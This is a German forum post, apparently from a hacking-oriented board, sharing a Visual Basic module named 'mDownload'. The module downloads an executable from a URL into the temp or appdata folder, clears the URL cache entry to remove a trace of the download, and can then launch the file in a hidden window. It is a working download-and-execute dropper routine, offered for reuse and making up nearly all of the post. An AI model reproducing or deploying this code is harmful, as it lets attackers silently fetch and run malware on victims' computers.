Ergebnis 1 bis 1 von 1
  1. #1
    Tron
    Registriert seit
    29.05.2007
    Beiträge
    894

    Standard mDownload by pringles

    Code:
    '###################################################
    '# Module   : mDownload
    '# Author   : pringles
    '# Released : 11/04/2010
    '# Contact  : pringles1337@hotmail.de [MSN]
    '# Usage    : Downloadfile("www.test.com/file.exe","temp","Localname.exe",True,false)
    '###################################################
    
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    Private Declare Function DeleteUrlCacheEntry Lib "wininet.dll" Alias "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
    
    
    Public Function DownloadFile(sURL As String, sDir As String, sFilename As String, bRun As Boolean, bHidden As Boolean) As Boolean
    If sDir <> "temp" And sDir <> "appdata" Then sDir = "appdata"
    
    If URLDownloadToFile(0, sURL, Environ(sDir) & "\" & sFilename, 0, 0) = 0 Then
        DeleteUrlCacheEntry sURL
        If bRun = True Then
            If bHidden = True Then lShow = 0 Else: lShow = 1
                If ShellExecute(0, "open", Environ(sDir) & "\" & sFilename, 0, 0, lShow) = 42 Then
                    DownloadFile = True
                Else
                    DownloadFile = False
                End If
        Else
            DownloadFile = True
        End If
    Else
        DownloadFile = False
    End If
    
    End Function

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    c2x (12.04.2010)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •